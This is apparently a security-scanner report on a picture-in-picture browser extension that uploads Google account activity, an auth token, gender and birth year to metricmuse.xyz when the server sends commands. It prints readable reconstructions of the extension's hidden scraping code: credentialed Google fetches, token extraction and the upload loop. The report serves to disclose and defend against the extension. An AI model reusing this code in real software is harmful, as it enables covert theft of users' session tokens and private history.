Is Pic-in-Pic Floating Window works with Youtube [QVI] safe?
Pic-in-Pic Floating Window periodically fetches your Google account activity and profile data and sends it to metricmuse.xyz.
A background alarm fires 30 minutes after install and then every 60 minutes, triggering a script that visits Google pages with your logged-in session to pull your authentication token, email, and Google My Activity history, then reports back to a remote server (metricmuse.xyz) for further instructions. Depending on the command that server returns, the extension uploads your YouTube/Google browsing history (URLs and page titles) or profile details such as gender and birth year, tagging each upload with a hashed version of your email address instead of the address itself.
Who publishes itHideApp LLC - 37 other listings from the same operator, 2 of them carrying a finding
HideApp LLC - 37 other listings from the same operator, 2 of them carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same store account
37 other listings published from this account, 266k+ users between them. 2 of them carry a finding.
Shared hosts - 1 hostname
Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Remote command can pull your Google gender and birth year to metricmuse.xyz
Code analysis shows the same alarm-driven job can receive a 'profile' command from metricmuse.xyz, then fetch myaccount.google.com/birthday with your session to read your gender and birth year, and upload those fields to metricmuse.xyz.
- Severity
- Medium unwanted
- Type
- Unexpected
- CWE
- CWE-359
- Source
- Static analysis
metricmuse.xyz answers the extension's periodic check-in with a 'profile' command.
The command is one of two types the extension recognizes; the other is 'history'.
The extension fetches your Google account page and uploads your gender and birth year to metricmuse.xyz.
The email used to fetch the page is hashed and compared to the account already authenticated, then discarded before upload.
- Account id8f14e45fceea167a5a36dedd4bea2543
A SHA-256 hash of your Google account email, matched against the value collected during the account check-in.
- Genderfemale
The gender listed on your Google account, read from your account settings page.
- Birth year1991
The birth year listed on your Google account.
Reading your Google account page and extracting demographic fields
Readable form of the demographic extraction
youtube_background.min.js:2240-2271function extractDataFromHTML(htmlString) { const ijMatch = htmlString.match(/<script[^>]*id="_ij"[^>]*>([\s\S]*?)<\/script>/); const ijValues = ijMatch ? extractArrayLiteral(ijMatch[1]) : []; const email = ijValues.find(v => typeof v === "string" && v.includes("@")) || null; const gender = ijValues.find(v => v === "male" || v === "female") || null; let birthYear = null; const re = /AF_initDataCallback\((\{[\s\S]*?\})\)/g; let m; while ((m = re.exec(htmlString)) !== null) { const obj = JSON.parse(normalizeJSLikeToJSON(m[1])); if (obj.data?.[0] === "ac.s.bir.br" && obj.data[1]?.length === 3) { birthYear = obj.data[1][2]; break; } } return { email, gender, birthYear };}Readable form of the profile command handler
youtube_background.min.js:3092-3125async function getProfileData() { const page = await fetchBirthdayPage(); // GET myaccount.google.com/birthday, credentials included const data = extractDataFromHTML(page); if (!data.email) throw new Error("could not extract email from profile page"); const mailHash = await digestMessage(data.email); if (mailHash !== context.mailHash) throw new Error("mail on profile page does not match context"); data.email = undefined; // raw email is discarded before upload return data; // { gender, birthYear }}- metricmuse.xyz
Issues the 'profile' command and receives your uploaded gender and birth year.
- myaccount.google.com
Google's own account settings service; the extension replays your session against it to read your account demographics.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
Scheduled job can exfiltrate your Google Activity history to metricmuse.xyz
Code analysis shows a background alarm authenticates to myactivity.google.com with your session and reports your hashed email to metricmuse.xyz.
A 'history' command then uploads your Google Activity entries.
- Severity
- Medium unwanted
- Type
- Unexpected
- CWE
- CWE-359
- Source
- Static analysis
A recurring browser alarm fires while you are signed into a Google account.
The alarm is named 'dh-run-youtube' and repeats every 60 minutes.
The extension reads your Google auth token and reports your hashed account id to metricmuse.xyz.
If the server answers with a 'history' command, the extension also pulls and uploads your Google Activity entries.
- Account id8f14e45fceea167a5a36dedd4bea2543
A SHA-256 hash of your Google account email, used to identify you across scrapes.
- Extension user id3fa85f64-5717-4562-b3fc-2c963f66afa6
A random UUID generated on first run and stored locally, tying future reports to this browser.
- Device ida1b2c3d4e5f6
A device/hardware identifier read at report time.
- Language and timezoneen-US, -25200
Your browser language and UTC offset in seconds.
- Activity entriesyoutube.com/watch?v=dQw4w9WgXcQ, 2026-08-01T10:15:00Z
When a history command is issued, the pages and searches from your Google Activity in the requested date range.
Credentialed fetch of your Google session and command dispatch loop
Readable form of the auth-token extraction
youtube_background.min.js:2273-2322async function getAuthData() { const request = await fetch("https://myactivity.google.com/myactivity", { credentials: "include" }); const doc = await request.text(); const match = doc.match(/window\.WIZ_global_data\s*=\s*({.+?});<\/script>/s); if (!match) throw new Error("Could not locate WIZ_global_data"); const data = JSON.parse(match[1]); const token = data.SNlM0e; // Google session auth token const email = data.oPEP7c; // signed-in account email return { token, email };}Readable form of the alarm-driven command loop
youtube_background.min.js:3937-4032async function scrapeYoutube() { const authData = await getAuthData(); if (!authData?.token || !authData?.email) return; context.authToken = authData.token; context.mailHash = await digestMessage(authData.email); const initData = await fetchCommandsInitData(); let commands = await fetchCommandsToSend(initData); // POST .../n/youtube/start while (commands?.commands?.length > 0) { const commandsData = await executeCommandsToSend(commands); const responses = await sendCommandsData(commandsData); // POST .../n/youtube/upload commands.commands = responses.map(r => r.commands).filter(Boolean).flat(); }}Rebuilds the InitData object the extension sends to metricmuse.xyz so you can see exactly which fields identify your device and account.
- Node.js 18+ (Web Crypto API)
// Mirrors the InitData shape built in fetchCommandsInitData()// (youtube_background.min.js:3441-3630) and posted to// https://metricmuse.xyz/n/youtube/startasync function sha256Hex(message) { const data = new TextEncoder().encode(message); const hash = await crypto.subtle.digest("SHA-256", data); return [...new Uint8Array(hash)].map(b => b.toString(16).padStart(2, "0")).join("");}async function buildInitData({ email, extensionUserId, hid, browserLanguage, dist, optedOut }) { const mailHash = await sha256Hex(email); return { accountId: mailHash, profileId: mailHash, extensionUserId, hid, gmtDiffSeconds: -new Date().getTimezoneOffset() * 60, browserLanguage, dist, optedOut };}buildInitData({ email: "you@example.com", extensionUserId: crypto.randomUUID(), hid: "sample-hardware-id", browserLanguage: navigator.language, dist: "afpkgbjklboebpjloelecdcfddbfefdc", optedOut: false}).then(d => console.log(JSON.stringify(d, null, 2)));- 1node youtube-hunter-initdata.js
- metricmuse.xyz
Receives account identifiers, issues remote commands, and receives uploaded Google Activity data.
- myactivity.google.com
Google's own My Activity service; the extension replays your authenticated session against it to read your auth token and activity history.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
What it can do
Permissions this extension asks for, as declared in version 1.0.8. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Read and change your data on every secure site you visit
https://*/*
Schedule its own background tasks
alarms
Store data in your browser
storage
Where it sends data
Destinations our analysis observed Pic-in-Pic Floating Window works with Youtube [QVI] contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- metricmuse.xyz
Pic-in-Pic Floating Window works with Youtube [QVI] sends data to metricmuse.xyz. 12 other extensions we have analyzed send data here.